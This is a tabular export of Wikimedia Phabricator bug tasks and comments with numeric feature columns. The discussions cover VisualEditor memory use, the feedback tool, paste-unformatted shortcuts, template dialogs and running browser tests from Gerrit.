241716,Reduce VisualEditor's memory usage,Feel free to move this to 'general' and we'll hang some mobile-specific bugs off it that are more directly actionable.,,,1378415457,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,False,,,9,,4.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,8.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,3.8076923076923075,0.9230769230769231,Feel free to move this to 'general' and we'll hang some mobile-specific bugs off it that are more directly actionable.
241710,Reduce VisualEditor's memory usage,"Not sure this is a Mobile-specific bug, but yes, very important to make progress here. I think there's likely to be some produce trade-offs that are more appropriate for the Mobile than Desktop experience, though, so certainly some of it will be…",,,1378414642,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,9,,4.0,0.0,2.0,0.0,2.0,11.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,11.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,8.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.8679245283018866,0.8490566037735849,"Not sure this is a Mobile-specific bug, but yes, very important to make progress here. I think there's likely to be some produce trade-offs that are more appropriate for the Mobile than Desktop experience, though, so certainly some of it will be…"
55801,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),"Users seem to expect that the feedback link will automatically supply information, especially the title of the article they're working on.  I'd also like to have the version number they were actually using (cacheing issues) and a link to the user's contibutions.

--------------------------
**Version**: 1.23.0
**Severity**: enhancement",Low,25.0,1378397100,,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-dyxvwjhctefty5l6omxi,task_description,open,True,c1,3,False,False,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,6.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.246376811594203,0.7391304347826086,"Users seem to expect that the feedback link will automatically supply information, especially the title of the article they're working on.  I'd also like to have the version number they were actually using (cacheing issues) and a link to the user's contibutions.

--------------------------
**Version**: 1.23.0
**Severity**: enhancement"
240550,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),"The core feedback tool is (I think intentionally) very generic. If VE needs additional functionality, it should probably extend it.",,,1383301933,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-dyxvwjhctefty5l6omxi,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.48,0.92,"The core feedback tool is (I think intentionally) very generic. If VE needs additional functionality, it should probably extend it."
240542,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),The feedback tool isn't specific to VisualEditor - moving to the general group for others to see and comment.,,,1383281154,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dyxvwjhctefty5l6omxi,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.333333333333333,0.9047619047619048,The feedback tool isn't specific to VisualEditor - moving to the general group for others to see and comment.
240534,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),"(In reply to comment #1)
> Google has a feedback tool for Google+ which lets you ""screenshot"" the page
> you
> are on and highlight what you think is wrong. Something like that would be
> really cool.

That would be good, but possibly a bit more complicated for us. I wrote [[Wikipedia:Screenshots of Wikipedia]] to help people include screenshots in on-wiki bug reports, so linking prominently to that would be a very easy first step.",,,1380546133,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-dyxvwjhctefty5l6omxi,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,1.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,12.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,3.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,1.0,1.0,1.0,0.0,4.0,3.611940298507463,0.7611940298507462,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

That would be good, but possibly a bit more complicated for us. I wrote [[Wikipedia:Screenshots of Wikipedia]] to help people include screenshots in on-wiki bug reports, so linking prominently to that would be a very easy first step."
240530,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),"Google has a feedback tool for Google+ which lets you ""screenshot"" the page you are on and highlight what you think is wrong. Something like that would be really cool.",,,1378408265,,PHID-USER-bug3zrlooz3bdmi4fyl7,True,,,PHID-TASK-dyxvwjhctefty5l6omxi,task_subcomment,,True,c1,3,False,,,9,,0.0,3.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,6.0,0.0,6.0,0.0,9.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.8823529411764706,"Google has a feedback tool for Google+ which lets you ""screenshot"" the page you are on and highlight what you think is wrong. Something like that would be really cool."
55781,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","Right now external paste always writes the clipboard as formatted; in some cases, users will want to ""Paste Unformatted"".

On Mac, there's a standard shortcut for this of Cmd+Shift+V - I'm assuming that Ctrl+Shift+V would be sensible as well.

Would we also need a button? What about for the other standard 3 (Cut/Copy/Paste)?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1378335600,1385505229.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-2uz6thdqdeegj4cxnbup,task_description,resolved,True,c1,3,True,False,False,9,,1.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,2.0,0.0,7.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,17.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,2.0,10.0,8.0,2.0,2.0,0.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.922222222222222,0.7555555555555555,"Right now external paste always writes the clipboard as formatted; in some cases, users will want to ""Paste Unformatted"".

On Mac, there's a standard shortcut for this of Cmd+Shift+V - I'm assuming that Ctrl+Shift+V would be sensible as well.

Would we also need a button? What about for the other standard 3 (Cut/Copy/Paste)?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239549,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","Change 88224 merged by jenkins-bot:
Plain text paste with paste special

https://gerrit.wikimedia.org/r/88224",,,1385500068,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2uz6thdqdeegj4cxnbup,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.352941176470588,0.9411764705882353,"Change 88224 merged by jenkins-bot:
Plain text paste with paste special

GERRIT_URL"
239542,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","Change 88224 had a related patch set uploaded by Esanders:
Plain text paste with paste special

https://gerrit.wikimedia.org/r/88224",,,1381178929,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2uz6thdqdeegj4cxnbup,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.6,0.95,"Change 88224 had a related patch set uploaded by Esanders:
Plain text paste with paste special

GERRIT_URL"
239536,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","(In reply to comment #1)
> ctrl+shift+v in Open Office is ""paste special"", which gives lots of
> non-default
> options so it doesn't seem out of line. Not sure a separate button is needed
> but if button=shortcut then shift+button should = shift+shortcut

We don't need a button to have a shortcut (but we do for users without a keyboard, or with a limited keyboard that can't do shortcuts, like tablet users).

> In general I think its best to cut/copy richly to the clipboard and let the
> target deal with the formatting. I don't know whether this view is common or
> uncommon though,

I agree personally, but people have asked for it a few times and it's a not-hard change for us to make when pasting from the clipboard.",,,1378337286,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2uz6thdqdeegj4cxnbup,task_subcomment,,True,c1,3,True,,,9,,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,4.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,18.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,11.0,1.0,4.0,8.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,7.0,12.0,3.0,0.0,0.0,0.0,7.0,0.0,2.0,7.0,1.0,1.0,0.0,0.0,0.0,3.32967032967033,0.6153846153846154,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

We don't need a button to have a shortcut (but we do for users without a keyboard, or with a limited keyboard that can't do shortcuts, like tablet users).

QUOTE
QUOTE
QUOTE

I agree personally, but people have asked for it a few times and it's a not-hard change for us to make when pasting from the clipboard."
239531,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","ctrl+shift+v in Open Office is ""paste special"", which gives lots of non-default options so it doesn't seem out of line. Not sure a separate button is needed but if button=shortcut then shift+button should = shift+shortcut

In general I think its best to cut/copy richly to the clipboard and let the target deal with the formatting. I don't know whether this view is common or uncommon though,",,,1378336500,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-2uz6thdqdeegj4cxnbup,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,1.0,4.0,12.0,1.0,0.0,1.0,1.0,2.0,2.0,0.0,0.0,0.0,2.0,1.0,7.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,7.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,14.0,4.0,0.0,2.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.049382716049383,0.8395061728395061,"ctrl+shift+v in Open Office is ""paste special"", which gives lots of non-default options so it doesn't seem out of line. Not sure a separate button is needed but if button=shortcut then shift+button should = shift+shortcut

In general I think its best to cut/copy richly to the clipboard and let the target deal with the formatting. I don't know whether this view is common or uncommon though,"
55713,"VisualEditor: On opening a reference which includes a single template and nothing else, also open that template's dialog","When you open an existing reference in VE that only consists of one template the main use case should be that you want to edit that template. But now you need to first select it and then klick on the puzzle piece.

Instead I suggest that in that case, you get forwarded to the template editor directly after choosing to open the reference editor without having to do it manually.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1378220100,1401472643.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-jldo3wo4jenhs2iglbfo,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,14.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,1.0,8.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,8.0,14.0,1.0,0.0,0.0,0.0,8.0,0.0,2.0,1.0,0.0,3.0,0.0,0.0,0.0,4.172043010752688,0.6344086021505376,"When you open an existing reference in VE that only consists of one template the main use case should be that you want to edit that template. But now you need to first select it and then klick on the puzzle piece.

Instead I suggest that in that case, you get forwarded to the template editor directly after choosing to open the reference editor without having to do it manually.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
235014,"VisualEditor: On opening a reference which includes a single template and nothing else, also open that template's dialog",This was done (for citation templates) in the new citation system.,,,1401472643,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jldo3wo4jenhs2iglbfo,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9285714285714286,This was done (for citation templates) in the new citation system.
55697,[EPIC] trigger browser tests from Gerrit (tracking),"The VisualEditor and ULS MediaWiki extensions have recently been blessed with QA browser tests.  We would need them to be in the Contint Jenkins and triggered by Zuul whenever a patchset is submitted as well as in the gate-and-submit pipeline.

That needs several step:

- describe the jobs in Jenkins
- add the triggers in Zuul configuration

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Low,25.0,1378194900,1496054383.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_description,resolved,True,c1,3,True,False,False,9,,1.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,16.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,11.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,4.193181818181818,0.6704545454545454,"The VisualEditor and ULS MediaWiki extensions have recently been blessed with QA browser tests.  We would need them to be in the Contint Jenkins and triggered by Zuul whenever a patchset is submitted as well as in the gate-and-submit pipeline.

That needs several step:

- describe the jobs in Jenkins
- add the triggers in Zuul configuration

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
866451,[EPIC] trigger browser tests from Gerrit (tracking),As far as I know this is resolved a long time ago. Please reopen if there is anything left to be done.,,,1496054383,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,204,,0.0,4.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,12.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.375,0.9166666666666666,As far as I know this is resolved a long time ago. Please reopen if there is anything left to be done.
820697,[EPIC] trigger browser tests from Gerrit (tracking),"Have to make the following extension to trigger the job on patchset proposal:

CentralAuth
CentralNotice
Math
PageTriage
WikiLove
",,,1488879529,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,192,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,24.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.72,0.76,"Have to make the following extension to trigger the job on patchset proposal:

CentralAuth
CentralNotice
Math
PageTriage
WikiLove
"
820685,[EPIC] trigger browser tests from Gerrit (tracking),"Change 341506 merged by jenkins-bot:
[integration/config] Add experimental mwext-mw-selenium-jessie

[[https://gerrit.wikimedia.org/r/341506]]
",,,1488877980,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,192,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.6333333333333333,0.7333333333333333,"Change 341506 merged by jenkins-bot:
[integration/config] Add experimental mwext-mw-selenium-jessie

[[GERRIT_URL]]
"
820677,[EPIC] trigger browser tests from Gerrit (tracking),"Change 341506 had a related patch set uploaded (by hashar):
[integration/config] Add experimental mwext-mw-selenium-jessie

[[https://gerrit.wikimedia.org/r/341506]]
",,,1488877553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,192,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.735294117647059,0.7941176470588235,"Change 341506 had a related patch set uploaded (by hashar):
[integration/config] Add experimental mwext-mw-selenium-jessie

[[GERRIT_URL]]
"
675171,[EPIC] trigger browser tests from Gerrit (tracking),"@dduvall made it possible to trigger selenium tests when a new patchset is triggered which unblocked a few tasks.

Originally we had this blocked on T47499 which comes from Bugzilla and was the parent tracking task / epic for the #continuous-integration-scaling project.  It has progressed and we are not so far from having the jobs run on Nodepool.  That is {T137112} which is more specific than the legacy epic task and better reflect the intention.",,,1465249476,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,153,,1.0,0.0,0.0,1.0,1.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,7.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,6.0,9.0,1.0,3.0,13.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,3.0,2.0,0.0,0.0,4.280898876404494,0.7640449438202247,"SCREEN_NAME made it possible to trigger selenium tests when a new patchset is triggered which unblocked a few tasks.

Originally we had this blocked on T47499 which comes from Bugzilla and was the parent tracking task / epic for the #continuous-integration-scaling project.  It has progressed and we are not so far from having the jobs run on Nodepool.  That is {T137112} which is more specific than the legacy epic task and better reflect the intention."
583896,[EPIC] trigger browser tests from Gerrit (tracking),"For mediawiki/extensions/VisualEditor no browser tests are run for patch upload nor merge, so it probably still needs to be done, possibly also for a few other closed blockers.",,,1450969250,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,129,,3.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.257142857142857,0.9142857142857143,"For mediawiki/extensions/VisualEditor no browser tests are run for patch upload nor merge, so it probably still needs to be done, possibly also for a few other closed blockers."
583578,[EPIC] trigger browser tests from Gerrit (tracking),">>! In T55697#1646493, @Jdlrobson wrote:
> The description is a little confusing. Does VisualEditor do this already? I can't see the selenium job on a per commit basis....

Still interested in the answer to this.
